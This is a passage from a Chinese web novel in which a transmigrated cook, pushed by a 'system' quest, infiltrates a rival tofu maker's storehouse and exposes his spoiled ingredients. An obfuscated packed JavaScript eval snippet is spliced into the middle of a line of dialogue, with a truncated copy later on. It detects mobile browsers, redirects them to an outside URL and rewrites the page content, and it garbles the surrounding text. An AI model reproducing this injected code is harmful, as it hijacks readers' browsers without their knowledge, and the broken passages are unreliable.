破系统偏偏这时候响! 刚心动就要干活,罗烨烨真是服了,简直就是又气又恼,可她还没来得及多想,身下萧握瑾忽然动了一下,折扇脱手飞出,砸向门口。 哐啷一声,吓了她一跳,罗烨烨扭脸,眼见扇子撞在什么一闪而过的东西上,弹了一下,啪嗒落在地上。桃赤笔墨向上展开,盛一弘宝蓝月色。 这下,彻底把她迷迷糊糊的思绪打断了,下意识回头看他,却见他那双桃花眼正望着她,张唇,欲言又止,语气里带着点懒洋洋的,偏开目光: “……你压着我了,有人在看。” “距离贡品遴选只剩九日,若未在规定时间内完成州内赛选拔,任务将判定失败。”系统又冷不丁提醒,“宿主将永远滞留此地。” 罗烨烨的表情瞬间一变,脑海一时也想不得其他事,余光迅速就捕捉到窗外变黑的天。 去库房,现在吗? 她脸上那点燥热的红晕还没从耳根退下去,眉头已经慢慢皱起,但她耳朵里还没漏掉萧握瑾哼的那句,却有些心不在焉:“啊,有人看吗,谁呀?” 萧握瑾躺在地上,良久未言语。他一侧枕着地面,墨发掩着他耳,只掀眼帘往远处扫视:“方才在门口偷听,披头散发模样,一身白衣。” “啊?”罗烨烨直接惊了,立马顺着他的视线看过去,门半敞着,外头是黑黢黢的游廊,灯都未及点,什么也没有。 接着她感觉自己身下来轻轻晃,果然她一低眼,就瞧见萧握瑾此时没扇子,笑得愈加清楚了。那眼底啊,真是瞧着就有一种得意,便顺势抬手想用袖子掩,那罗烨烨肯定不会放过他,直接一巴掌拍他胸口: “你骗我,你吓死我了!” 这人真是绝了,吓她两次,方才一扇子拍得她差点心悸,以为发现她脑子里有东西响了呢,这会又装神弄鬼,明明什么都没啊。 “真有人,形貌是骗你,有人却没骗你。”萧握瑾这回敛了敛笑,像是不逗她了,望着她,“那你方才在想什么,忽然变了神色,是有何事?” 罗烨烨随口搪塞:“没事没事,就是想起咱们只有三天时间,光在这调酱,连姚富用的什么原料都不知道。” 她松了口气,又勾着头往那门口瞅了两眼,觉得萧握瑾肯定听错了:“是小猫过去了吧?或者风吹的……” “不是。”萧握瑾的语气很笃定,目光里像是轻轻的埋怨,又有些倦地眯着眼,“是人在偷看我们。” 罗烨烨奇了怪:“可我真没听到声啊?你是不是……” 萧握瑾没接话,只看着她。 那目光看得罗烨烨有点心虚,她撇了撇嘴,才觉出这姿势实在别扭。这这,上下交叠,成何体统?气氛被打断,她只好讪讪地爬起来,站定时,又端起一副掌勺大当家的模样,假装无事发生。 面前那白衣晃了一晃,也起来。似乎也不是全白,在光色里透着蓝、透着粉,看得不太分明,像蒙了一层幻境。 哦,是夜色。外面暗了呀,宝蓝色的夜色映在他衣上,又有灯笼的光透过院外的花蕊,几点粉光点在他身上。 罗烨烨,与他眼睛里望。 那公子垂着目,站起身,随意掸掸衣袍上的灰。也未揭起方才事,只低头看了看案上的豆腐:“咱们豆腐就做这些么,不再多拿一些?” “拿呀,多拿,”罗烨烨收回目光,挠了挠头,立时又有点小焦虑,感觉事情老多,“但咱们货不是被截了吗,现在大晚上的……” 如今她任务就是打败姚富,选上御膳。现已知,姚富将她们家豆腐的货给截断了。至于诬陷她们家豆腐有毒这事吧,不知道是不是姚家搞的。 除了把自己的霉豆腐弄好,第二点,就是要胜过姚富。而姚富腐乳本身就不好吃,如今又来了个超美味的霉豆腐,可不是要使绊子? 想到这,罗烨烨就顿住,抬眼,果然与他对视。 哦,都想到一处去了。 那罗烨烨也不藏着掖着了,理好思绪也凑过去,嘿嘿一笑:“你说,方才真有人吗?那要是真有人,是不是姚家的人来窃听呀?” “你方才去要豆腐的时候,我问过姚家家丁和几个街坊,”萧握瑾走到门前,将地上折扇捡起来,在指间转了一圈,“御膳的名额已被姚家人占住了,官府钦点,只让他们一家进献腐乳。” “啊,”罗烨烨也跟过来,愈发惊讶了,“那这腐乳做成这个样子,送上去皇帝不得吃吐呀?” 萧握瑾无奈地瞟了她一眼:“那肯定是下面有旁人,取而代之往上送啊。” 眼见罗烨烨有点瘪嘴了,他便将折扇伸过来,往她身前隔空轻轻一敲,又做了一个提拿牵连的动作: “就像你这般,你来替我做菜,给我们酒楼打名声,端的是萧家的招牌。最后大众吃得美,不还是你的手艺,认你做掌柜?” “那是自然。” 他美言几句,罗烨烨也听美了,沾沾自喜,又翘起嘴角,她想了想,又皱起眉:“哎呀,这也太作弊了吧?那该如何是好,哦,此乃姚商与官差勾结。” 她说着呀,开始振振有词:“咱们但寻姚家犯律的空子,二者之系自而瓦解。因而官府须面示清廉,若姚商显有违律,那官差必定,不复与谋。” “是这般。”萧握瑾应她,又不假思索,顺着她接道,“亦或,索性今夜霉豆腐难成,莫若攻其不备,直趋姚府库房,查明他构陷之证。” 道出了她想听的,罗烨烨心里得劲了,点头如捣蒜,笑得咧嘴:“哎呀,善哉善哉,你这招真是妙呀,小萧!不愧是智勇双全、英俊潇洒……” “行了。”萧握瑾打断她,啪地一声展开折扇,掩面下半,不过罗烨烨是清晰瞅见他唇角扬了,“你想去看?” “这还用问!”罗烨烨话一出口,又有点伤神,思前想后,觉得为难了,“不过他家后院,肯定有人守着吧?” 萧握瑾挑眉:“所以呢?” 罗烨烨慢慢笑起来,摸了摸下巴,带着点坏,又带着点跃跃欲试的兴奋:“所以得想个法子,把人引开。” 那目光看得萧握瑾往后仰了仰:“你想作何?” “萧老板,你是姿容绝色呀。”罗烨烨笑嘻嘻地道,“你往门前给看守造点动静,吸引注目,我从后门溜进去。” 萧握瑾瞥她:“你让我当饵?” “这叫分工合作,”罗烨烨理直气壮,“你是门面,我是实干。” 萧握瑾沉默了一会儿,目光落在她脑袋上。 看得罗烨烨一愣一愣的,眼前飘过一缕游丝,才发觉方才一番折腾呀,这帽子不知飞哪去了,发髻被头巾缠过,都乱了。便顺着他视线抬手,拢了拢发丝,捏住头顶那朵桃花珠钗,拆出来重新簪了簪。 萧握瑾才开口:“别弄丢了。” 流水浇心弦而拨动,发出来的这些细碎声响,有点恼人,有些别扭。罗烨烨亦觉身心发痒,赶紧推他:“哎呀知道了,掌柜掌柜,快依我之言去做吧!快去呀——” 白衣轻靴,跨开朱门,掠过檐角。便如月色在墙头上晃了晃,化作风中之影,消失不见。 是夜,姚家库房后巷,两个看守靠在墙根。年长的那个抱着胳膊,睁着眼睛已有血丝,年轻的那个干脆歪在墙上打盹,嘴角还挂着一条口水。 忽然,那个打盹的看守咂咂嘴,哎了一下睁眼醒了,张着嘴深吸了一 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那老看守却在墙根那皱眉,没跟,望眼欲穿。见那白衣摊主闻言之,微微抬眸,帷帽的垂纱被夜风掀起一角,露出玉白的下颌,深唇微弯,似笑非笑。他声音很轻,像夜风里飘来的: “阁下,买酒么?桃花酿。一两银子一碗,大点添杯。” 太贵了。墙根的那个老看守动了动,年轻看守却已经口干舌燥了,急吼吼掏出兜里的一两银子,拍到案上:“下注下注!” 旁边赌摊的人起哄:“喝不起酒就掷两把嘛,一文钱一局,赢了送你一碗。” 骰子与银两一同入碗,第一把,赢了。 赢得年轻看守都骂了一声,震惊了:“这么容易?”这太轻松了,白送钱啊,白花花银子与白花花酒水倒入自己捧中,听响宛如仙乐。 第二把,又赢了。 第三把,还是赢。 他额上沁出汗来,手也开始抖了。他从来没有运气这么好过。从前他连赌十八局,将妻儿老小全部押上,输干输净,沦落家奴。如今他却连连皆赢,满盘皆是赢。他手中就仿佛已经握住了天命,而他只需要挥一挥手,老天就会给他无尽财富与气运。 老看守在里头看得心里也抓痒,两步赶上来,也掏出一两银:“我来!” 他也赢。 两人越赌越急,越急越赢,眼睛都红了。旁边那两个赌客一赢一输,叫好声、叹气声此起彼伏,把整条巷子都吵活了。 “再来再来!” “这把肯定还赢!” “哎呀又赢了——” 年轻看守把身上最后一文钱拍在碗里,骰子一掷,哗啦一声,三个一。 他愣了一瞬,随即猛地站起来,脸涨得通红,眼睛瞪得滚圆:“不算!这不是真的,我还能赢!再来,我下次一定还赢!” 旁边俩赌客笑哈哈,摇着蒲扇拍站起来的他俩:“恁俩赢那么多局,先喝酒吧!不急不急。” 干了这口酒接着赢啊!摊主将一碗桃花酿推过来,他端起碗一饮而尽,酒液顺着嘴角淌下来,滴在衣襟上,他却浑然不觉,只咧嘴笑着,两眼发直,像是魂魄已经被勾走了。 “姚家,姚家府库……”他张着嘴,咕噜咕噜地吐了好多话,月光照出他脸上青紫的痕迹,是白日被一柄折扇抽的。 然而霎时,那两个赌客,甚至那年轻看守,身形却像雾气一般散了。衣袍空荡荡地落在地上,转眼化作两片枯桃叶,被夜风卷走。 巷子里安静下来,只剩白衣摊主还坐在灯笼下。他缓缓抬起手,又斟了一杯。那条手,细细密密地覆着一层由月光浇透的黏腻白绒,若菌丝,他微微屈了屈手指,那白毛便跟着动了动,像是活的一样。 “最后一问。” 他抬起眼,目光落在那个已经失了魂的老看守身上,声音很轻,却如石子落静水: “萧氏长子,与其伙同的女郎,在哪?” 11. 暗斗 巷子另一头,一个道袍身影闪进了后门。 罗烨烨溜进姚府仓库,探头往里一瞧。 院子里堆着几十个坛子,码得整整齐齐。她回头看了门一眼,外面黑黢黢空空如也,像是回看她似的。她打了个寒战,抓紧脚底抹油,溜进里头去了。 越往里走,脚边全是瓶瓶罐罐,坛口封着油纸,上头盖着姚记的大章红印。她刚要伸手去揭,风已先她一步,吹挑开油纸一角。 罗烨烨头皮发麻,但同时又觉幸运。伸手将盖揭开,里头是腐乳,也是赤红油亮的,密密实实,卖相确实跟她做的不相上下。 长得好,但是尝得实在是不中呀。 罗烨烨连啧啧,蹲下身,从坛里拈了一点,干脆把整块弄出来了,防止发坏霉。放在鼻尖闻了闻,又用另一只手指点一点,把指头往下唇一抿。 加了不少料,确实有玫瑰露,整体是咸香那种。 再细品,哎呀,不中,开始打架了。 罗烨烨原本闭着的嘴,开始往下耷拉唇线,舌头品着味,有那种苦,回苦。这是发的应该没发好,苦味还没完全渗进,但是一品就能品出来。 不过这个腐乳有些太红了,而且像是什么料剂干结上去的,也不是发酵发坏的,是加了什么东西…… 就在这时,门被推开了,她身后吱呀一声,罗烨烨一开始以为风吹的,不太敢回头,接着便有光打进来:“你是谁?在这儿干什么!” 没事,是人是人。罗烨烨心里一松一紧,面上迅速堆起笑来,站起身双手合十,朝他欠身道:“施主莫慌,贫道是城外清虚观的道姑,途经此地,饿得头晕眼花,想找口吃的……” “清没看出来,虚是挺虚的,”这一挂说得罗烨烨差点挂脸,小厮上下打量她,眯起眼,“道姑化缘怎么化到我们后院里来了?” 罗烨烨心说真是废话,面上好声好气:“这不是后院香嘛,我闻着味都来了,施主行行好,让我带一块,分给我道友吧。” “这么饿?那你现在吃吧。”小厮瞟她一眼,“看你饿得都昏头了,那你尝一口吧,咱们新腌的,现在让你尝。” 罗烨烨沉默良久。她在暗,小厮在明,所以她能静静看他。那地上的姚家腐乳坛开着口,即使在黑暗中也红得显眼。罗烨烨慢吞吞地蹲下身,又极其缓慢地捏了一块,放进嘴里。 罗烨烨一呕:“Yue!” 小厮横眉怒目:“你是来找茬的吧?” 这下真差点演不下去了。罗烨烨摆摆手,只能尽力用衣袍遮住自己表情,气若游丝地讲:“高油高盐,不好消化,吃太猛了。” 那小厮当然觉出不对劲,就要快步上来抓她。急促脚步声在耳边响,顿时让罗烨烨提心吊胆,但她面上还要保持冷静,正这时,却听一阵大笑在脑后扬开,接着便有一个圆润的声音: “哎呀,仙姑?方才我在前面施粥,怎么没见着你呀。” 那话声细高圆厚,罗烨烨一抬眼,就看见一尊庞大身躯立在门口。 以为能把半面光全遮了呢,结果哎呀,自带打光,这人身后还跟着几个打灯笼的随从,叫罗烨烨险些被闪瞎,见那小厮连连喊东家,低头哈腰给他让开,这下才叫她看清了。 大腹便便,一身富态,笑容憨厚,憨态可掬。灯笼火映在他圆润的面庞上,红光满面的,倒像个慈眉善目的弥勒佛,叫罗烨烨差点以为吃升天了。 是姚富,姚富来了。 实在好辨认。罗烨烨一眼便认出,面上自然和善谄笑,一拱手:“施主有所不知,方才前面挤满了人,贫道一个出家人,实在挤不进去,才没混个眼缘呀。” 说着面露遗憾状,若她现在手上有个拂尘,就要顺势扫一下了。 那圆滚滚姚富哈哈大笑,笑声洪亮,点点头:“原来如此,哎呀,仙姑……”他净往高处看,目光从她头顶扫过好几遍,来来回回扫三遍,才顿住,眯起眼,好像在找。 罗烨烨皱起眉,正要开口,姚富忽然一指她:“哦!仙姑,哎,真是,你确实仙呀,确实姑!” 我还是你姨呢! 罗烨烨就要撇嘴,姚富已经哈哈大笑起来,摆摆手:“不如我家送仙姑几坛腐乳,仙姑吃好喝好,也莫怪我家招待不周呀。” 听这话,她又立马挺直腰杆,这还说啥了,能成都中,罗烨烨面上笑出来,亦平白生出一幅仙风道骨派头:“哎呀,姚东家,有您这句话,贫道也真是三生有幸,得见贵人呀!” 她深吸一口气,准备酝酿情绪,眼眶立刻红,声音微微发颤:“其实贫道在观里也管着伙房之事,方才闻见施主施粥的香味,实在是……哎!不瞒您说,贫道幼年在观中,与师姊妹们馋的就是一口白豆腐。那时候穷啊,一块豆腐分十八个人吃,每人只能嗦一口筷子头……” 说着,她低下头了,忍不住抽泣出声,咳嗽出来。忘了不低头了,这个她脚前面的腐乳真太熏了,熏得她眼酸,真的要落泪了。 姚富显然被触动,兴致大发,信誓旦旦伸出三根粗壮手指:“仙姑,不是我吹,我跟你说,我这腐乳,有三好,哪三好?第一好,好吃。第二好,特别好吃,第三好,好吃得不得了!” 罗烨烨赶紧大拊掌,掌声清脆响亮:“哎呀那真是好!我一听就好,满盘皆好字,好上又加好,是十分之好!” 说着,她吸了吸鼻子,也忍不住诗兴大发,作诗一曲,顺势直起身:“姚家腐乳好,好吃特别好;好得吃不了,吃完好不了!” “好!好哇!” 姚富激情大拊掌,肥点上难得有了几分强忍泪意的褶皱,群下小厮一脸疑惑鼓着掌,交头接耳“这不对吧?”“无所谓,气氛到了”,姚富更是被鼓舞得大悦,笑得脸上褶子都开了花:“好好好,仙姑果然有才,那你要多少腐乳,尽管说!” 罗烨烨顺势双手合十,笑意晏晏:“今日得见施主,不知能否买些白豆腐回去?不要少,银两够。” 那姚富却不吭了:“白豆腐?” 呦,这下好像并不是那么好搞了。 难道是姚富喜欢别人买他家的招牌,但是不想让人买底料回去做吗?罗烨烨脑子里飞速地转,口里的词也飞速打磨精炼,随之抛出: “哎,不瞒施主,此次前来是咱们清虚观伙食断供,这才来找您要豆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516204|203203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腐来了。听闻您善施粥、助穷苦,必是个心宽德厚的大善人,才来找您要货源。” “咱们出家人吃素,不爱荤腥,因而选了更补益的,白豆腐。”她边说,余光瞥见姚富背住手,目光渐渐将她上下打量一番。 于是她便愈加虔心埋首,声情并茂:“贫道这次来,想多买些,要二十钵、三十钵。观里人多,施主若肯卖,贫道以后就认准您家的了,往后必定为您日夜祈福、敲钟诵经,助施主顺遂安康。” 说着,便朝他一鞠躬。 杏衫道袍两袖轻,卧腰如芦映霜庭。 东家姚富认真视,慢慢朝她走过来,边走边弯腰,皱着眉望她:“好,好。二十钵,三十钵,那银子可不少。你一个出家人,带那么多银子了?” 这一看有机会呀!罗烨烨便睁开眼缝瞅他,连连摆手道:“银子的事好说,贫道再多要些,四十钵也成。择日回观,贫道定为您传颂一番,教四方善信皆来问购。” 姚富随即仰天大笑,那笑声又来了,仿佛震得地动天响,震得豆腐坛封条子、灯笼穗子直晃:“哈哈哈!那好哇,那我干脆与你让些利钱吧!” 罗烨烨心里一喜,面上都快龇牙笑出来了,但她努力不显,只微微颔首,夸英明:“东家神武,东家天福!” 姚富还在笑,甚至开始拍肚皮,那大肚腩。然而,声音忽然低下来。 那笑容还挂在脸上,可笑意已经没了。 “四十钵。三个铜板,你看如何?” 罗烨烨正要点头说要要要,话到嘴边,却卡住了。 因为姚富的脸色变了。 那张圆脸上的笑啊,眉毛,被扯掉下来了。眼睛眯起来,嘴角还弯着,可越弯越尖锐,越利,已变了味,改了色,是阴狞。 窗外的光落下来,打在他脸上,照出那圆润面皮下隐隐的骨相。颧骨高耸,下颌方正,阴影一衬,竟有几分凶煞之气。 “你就是新来的那个罗烨烨吧?什么豆腐西施?呵呵……” 罗烨烨心里凉了一半,愈沉愈冷。便听他从鼻子里挤出一声笑,呲起牙,指着罗烨烨:“现在一看,就是个小贼。还想偷我的基底?我告诉你。” 他往前迈了好几步,几步连上,那圆滚滚的身子压滚过来,像地崩山摧,冲到罗烨烨门面: “就你们家那个霉运豆腐,明早就破产!” 罗烨烨被他这变脸轰隆吼声,震得心肌一停。随之,那砰砰跳动的心脏就在她胸□□开,激得她头皮发麻,后背冷汗,可随即,一股火气从心底蹭地窜上来。 砰咚,砰咚。她鼻子慢慢吸气,低下头,搓了搓手指上已经干结的辣酱。一搓就脏,这地方,灰尘真大。 她轻轻笑了一声,倒也比意料中表现的好了,没有被吓住的颤笑。她也从鼻子里哼出来的,带着几分不以为意。 “那我就直说吧,”她抬起头,睁大眼睛,目光直直地打在姚富脸上,“姚富,你这豆腐,不正规吧?” 姚富的笑容凝一瞬,随即皱拧起眉。 罗烨烨凝视着他,一字一句: “你加坏红曲和过量白矾,是不是?” 12. 明争 红曲提色,白矾盖苦。 罗烨烨话音刚落下,姚富那脸上褶皱啊,又挤作一团,把笑纹给挤出来了。他只是愈加不屑的,甚至鄙视她:“白矾?” “白矾是做豆腐里用的凝固剂,我不用白矾怎么做豆腐?你啥都不懂,在这说我?” 姚富的鄙视更甚,罗烨烨垂下眼,看她手指上的这个干涸的凝迹:“白矾自带苦味,过量会明显发苦。至于为啥过量,你的红曲米劣质,发坏了,想用明矾盖,结果弄巧成拙,没想到它俩加起来更苦。” 没想到她说完,姚富反而哈哈大笑,脸上赘肉和大肚腩都跟着颤两颤:“你说什么呢?你手指头上的是玫瑰露,玫瑰露都没见过?” 他龇牙咧嘴:“看见红就觉得是红曲米,我这腐乳可都是真材实料,玫瑰露、桂花蜜都是好东西,你一个不知道从哪来的野路子,连供货都要往外找,自己也没做过豆腐,你有啥本事说我?” 罗烨烨觉得荒谬了,亦觉可笑,便蹙起眉看他:“是不是苦你尝尝不就知道了?我说的是不是真的,你自己没有尝过吗?你作为老板,你不尝自己豆腐?” “你闭嘴吧!有什么好狡辩的?是你先偷在先,现在反来说我。” 他面上霎时狰狞,又立即扭头看向身边的小厮,语气里带着几分讥笑:“听见没有?人家说咱们加白矾呢,连白矾是原料都不知道!” 小厮跟着赔笑,眼神却有些躲闪。 罗烨烨没动,只看着姚富的眼睛。没有心虚,没有慌张,甚至渐渐消却愤怒,变成一种居高临下的嘲讽,一副很笃定样子。看她不是指控,而是一个不好笑的笑话。 她忽然有点明白了,姚富可能真不知道。 他心底知腐乳难吃,但不知它坏了。 “行了行了,”姚富摆摆手,收了笑,声音沉下来,“我不管你是谁家的,也不管你打的什么主意。我这后厨不是你该待的地方。” 他往前迈了一步,如乌云只手遮天,倾轧而过,像一堵高墙挡得密不透风。 “识相的,自己走。不识相?”他嘴角往下撇,“我叫官差了。” “官差?” 她真是下意识,就把这个词给质问出来了。想她现代也是恪守法律,一个良民良商,至少一条街巷都是好评。现在反要这样压她,顿时令她心中火起,那怒气便冲破喉腔,下意识吐出:“那你叫啊?” 说完她都有点后悔,想起那个官差样子,就心里慌,可这货明明人品那么差,仗着头上有顶帽子,肆意侮辱。又窝火,这种不公的欺压,实在令她既担惊又愤怒。 果不其然,姚富被她这态度噎了一下,脸色巨变,直朝身后那群小厮吼:“听到没有?去衙门把赵捕头请来!” 门外一个小厮探进半个脑袋,支支吾吾:“东家,赵捕头这几天都没上衙门,听说家里有事……” “那就叫李捕头,张捕头!随便哪个!”姚富的嗓门大了,脸上的肉都在抖,“咱姚家年年给衙门捐银子,不说是父母官吗?我都交了税,叫个人还叫不动了!” 他大臂一挥,怒吼喷出:“去叫!” 小厮好险弯身躲过,没被他一巴掌呼倒,赶紧应了一声,着急忙慌跑了。四周都缩着脖子,噤声不敢吭。罗烨烨将这一切旁观,只觉得入夜夜寒渐冷,令她抱起胸,瞥了姚富一眼。 这一动,刚骂完小厮的姚富就抓见她了。看见她还站着,眉头一拧。他转身走到灶台边,抄起一只大铁勺,在缸里捞,舀出一勺白豆腐,往旁边一只粗瓷钵子里一倒。 “你不是要豆腐吗?”他端着钵子走回来,眯着眼,语气里带着循循善诱味道,“给你,赏你了。拿回去好好学学,什么才叫好豆腐。” 他递过来。 罗烨烨沉默一会,伸单手接。 就在她的手指快要碰到钵沿的时候,姚富的手忽然一歪,那只铁勺没拿稳,勺里的白豆腐啪嗒一声摔在地上,碎开如白花花脑花,滩成一片,沾满了灰。 她低头看着地上那摊稀糊状的东西,眉头皱起,收回手,搂住了腹部,闭住眼。 浪费食物。 每一块豆腐都是经历风吹日晒长出来的豆子磨的,更何况生产力低下,得那种又沉又重的石磨成粉,又要用水熬,用时间养。 她别过脸,不再看。 耳边是姚富的声音,离得近了些,带着点得意的鼻音:“哎呀,手滑了,不过你别急啊,缸里还有。” 他重新舀了一勺,这回稳稳当当地倒进钵子里,又把钵子往罗烨烨怀里一塞。 不容罗烨烨拒绝的力道,直把她都要推得往后撤一步,她睁开眼。 入目是一张圆脸,油光满面的,鼻子朝下对着她,像在看一只蹲在地上的蚂蚁。 “拿好了。”姚富拍拍手,字句砸进她耳朵里,“我不管你是不是萧家新派来的掌柜,回去告诉你们东家,枫城的御膳名额,已经定了。我姚家的腐乳,是要送上京城的。你们那什么霉豆腐,呵呵,趁早收摊吧。” 他嘴角往上咧了咧,露出两排被烟茶熏黄的牙: “省得到时候,输得太难看。” 长巷无人夜气凉,一厢风露一襟霜。灯笼三两,人摇晃。 罗烨烨两手提着大食箱,走在空荡荡的巷子里,石板路坑坑洼洼,月光照下来,把她的影子拉得老长。 施粥,济苦。 她在心里咀嚼这两个词。 白天在望江楼门口,姚富施粥施得那么热闹,乞丐们挤破头,街坊们交口称赞。可就是这个大善人啊,垄断全城的豆腐,不让她买一粒豆子。 这样的人,真能下好料? “打个赌吧?姚富,御膳的名额会是我。” 罗烨烨慢慢抬头,她目光静静地,就站在那灯笼光照不到的暗处,凝视着他,“你要是输了,你这招牌也别开了,反正难吃。哪来的回哪歇着去,行不?” 她这一句话说出,吓得后面的小厮都有大呼吸声了。她细听啊,哦,这呼吸声不是几个小厮发的,而是这个姚富,他喘气越来越沉重,愈加愤怒。好像他说其他任何话,都没有她这一句话令他恼火。 “你赶紧倒闭吧!还想赢过我?罗烨烨,你明天就倒闭!” 罗烨烨提着那个大食箱,一直往外走。身后是姚富的笑声,盘桓在她脑子里,闷闷的,像一层厚厚的雾,翻涌着追她出了后门。 出了望江楼的后巷,夜风一吹,她才发觉自己的后背已经湿了一片。 吓的?怎么可能,是生气好吗? 那曲霉估计早坏了,白矾加了恁多,做出来的腐乳难吃得要命,还能送上去做御膳,争她名额。而她不过是去化个缘,就被当成贼一样防着,往外撵。 食盒沉甸甸的,少说有五六斤。太沉了,换到左手,又换到右手,她胳膊酸得抬不起来,可眼前就是醉仙楼后巷的拐角了。巷口黑黢黢的,只有远处一盏灯笼,昏昏黄黄地亮着。 她深吸一口气,屏住肚子里烧的火,加快脚步。 结果食盒压步子,让她没抬起脚,鞋尖被门槛一绊。咔啪一下,她瞳孔骤睁,整个人失重要栽,忙抻开手往前撑地,恐慌膝盖就要磕到门槛上的木刺。 意料中咣当一声食盒落地的响,却没听到。倒是一股香味从她身前穿过来,稳稳地托住了她。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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接着她耳边听到吸气声,萧握瑾回她了:“没有。你那个法子,我没用。” “啊?”罗烨烨惊了,站他前面,睁大眼看他,“我不是让你假装绝色书生公子把侍女引走,再放点烟伪装成着火了吗?” “那怎么能行?你想想,只要是放烟,岂不是所有人皆乱阵脚。” 萧握瑾一边往前走,一边用合起的折扇轻轻点她的衣裙步子,让她能跟着他往前的靴履,一点点往后倒走,“姚家上下乱套,你怎知不会越乱,他们越把仓库守死?” 诶呦,好像有点道理。罗烨烨还真被说服了,一边往后倒诶,又奇怪了,歪着头琢磨:“那你去哪了呀?你这么长时间,诶,不会就一直在大门口等我吧?你……” 后脚跟撞到门槛,罗烨烨一愣,失重感只来了一瞬,便被侧边伸出的折扇给托住后腰,力道不重,只是靠了一下,便松开。 罗烨烨站稳,抬起眼悄悄往上瞄。 萧握瑾却侧身,跨出前面那道门槛,走进更深的夜色里。他的声音从方寸的前头过来,轻飘飘的: “如你所想。感不感动?” 这话轻佻啊,令罗烨烨都蹙了眉,鼻子里哼笑。巷口拐角就在前面,她脚下已铺好一条银白月光,转身正要跨步跟上去,面前却横过来一把折扇。 “急什么?”萧握瑾又眯起那双眼。 罗烨烨这回一看就知道他又要憋坏水了,果然他那唇里啊,又开始吐:“你还没说,感不感动。” 他慢悠悠地开口:“是你一人方便,还是跟着本少爷走动,更妥帖啊。” 13. 使坏 萧握瑾。 他意有所指,轻轻掂了掂手上的食箱。那沉甸甸装满豆腐的一箱啊,还真在他手里化棉花了。 罗烨烨撅起嘴,想笑又忍住,故意抬着下巴看他,装出一副认真思考的样子:“那萧公子什么意思啊?是想单独行动呢,还是想和我一起呢?” “我都行啊。”萧握瑾摆弄着手里的扇子,就着月光看扇面上的桃花,语气散漫得很。 罗烨烨抬步就要从他身边走过去:“那我自己走了。” “等等。”折扇又拦过来。 薄薄的一层纸,正面画着桃花,透到背面的红影影绰绰,只稍微一点水、一絮风、一毫叶子,就能擦破。罗烨烨看着那柄扇子,哼了一声,翘起眼瞄他: “干嘛?” 萧握瑾没答。 他只是看着她。月光落在他的眼睛里,那目光沉静如水,又仿若情绪在水底下慢慢地流。 半晌,他笑了。 那笑容很轻,像是昙花在夜里开了一下,便始生幻觉。又像是春日第一朵桃花,被风吹开了花瓣。 “罗烨烨,”他声音低下来,“我们玩个游戏吧。” 他往前迈了一步。 白衣的影子覆上来,像潮水一样涌到她面前。他身上的香味贴过来,淡淡的,混着夜风里的露水气,一下子把她整个人都裹住了。 “走出去的时候,”他看着她,一字一句,“你要看我,眼睛不许动。你若能一直看着我,我便实现你一个愿望。任意的愿望,如何?” 罗烨烨眨了眨眼,之后她笑了。 那笑容里带着点坏,带着点得意,语气笃定:“那也太简单了,你这么美。” “快开始吧。” 她挑起眼帘,目光黏住他的眼,一动不动。 “不许反悔哦。” “不反悔。”萧握瑾的声音轻轻的,像在哄小孩。 罗烨烨又问:“可是萧握瑾,我们怎么走路呀?” “你脚不是崴了么,”他转过身,微微蹲下,“我背你。” 罗烨烨看着他的背,愣了一下。 “啊,这么好,会不会不太好呀?” 萧握瑾没说话。他只是蹲在那里,背对着她,月光把他一身白衣洗得发亮。他等了一会儿,没等到她趴上来,才偏过头,用那双桃花眼轻轻瞥了她一眼。 “你下次走慢一点,”他的声音很轻,怕惊动月光似的,“我才能抓住你……” 话没说完。 一个杏色的影子直接冲上来,猛地跳上他的背。啪地一声响,萧握瑾整个人往前一栽,差点一头抢地,赶紧伸手撑了一下地面,才稳住身形。 两条胳膊从后面缠上来,紧紧地箍住他的脖子。 “……的胳膊。”他把后半句话说完,声音有点沉,“抓紧了。” 罗烨烨把脸埋在他肩窝里,闷闷地笑了一声。 “抓紧了呀。” 他站起来,掂了掂她的分量,往上托了托,迈步走进月色里。 白月纱起轿,桃花妖上寮。 夜风从巷口灌进来,吹得他衣袂翻飞。罗烨烨趴在他背上,下巴搁在他肩窝里,看着他前襟的衣料在月光下一明一暗。 安静了一会儿,她忽然动了动鼻子。 “……萧老板,你有没有闻到什么味道?” 他声音从前面传来:“什么味道?” “腥腥的……好像鱼,又有点甜。” 她说完,那香味又在鼻尖前抖了抖,她仔细分辨了一下,摇头,“不对,是酒。酒香,还有一股花味儿。” 萧握瑾没回头,只是轻轻笑。罗烨烨没听见笑声,但她趴在他背上,能感觉到与他贴着的胸腔震动共鸣。 天上飘花了,是赤红的、鲜红的,水红的花瓣。罗烨烨揉了揉眼,那飘红亦如幻影,消失不见。 “不知道啊。”他道。 罗烨烨看他的侧脸,月光下,他的下颌线像一条弧光呢,深唇微弯,似笑非笑。 她看他看得久了,眼睛干涩得不行,可她又不想移开,怕一眨眼,就输了。盯着他的嘴唇,看见那两片唇瓣动了一下,似乎要说什么。 她差点伸手去摸,勾到一半,萧握瑾偏了一下头,她的手指只碰到了他的脸颊。 毛毛的。 不是胡茬的那种扎手,是一种很细、很软的绒毛,像刚摘下来的桃子。 罗烨烨脑子里忽然飘了一下,又想到霉豆腐白茸茸的菌丝,轻飘飘的,像踩在棉花上。 “你笑了,”她道,声音有点飘,“你知道的吧?” 萧握瑾只摇头,一步一步,稳稳地往前走,声若潮汐入她脑海:“帮我看看,到没到?” “不知道啊。” 罗烨烨打了个哈欠。困意像潮水一样涌上来,眼皮沉得抬不起来。她把自己的下巴和嘴唇都埋进他的肩袖里,声音闷闷的,像从梦里吐出来:“那我们现在……是什么关系?” 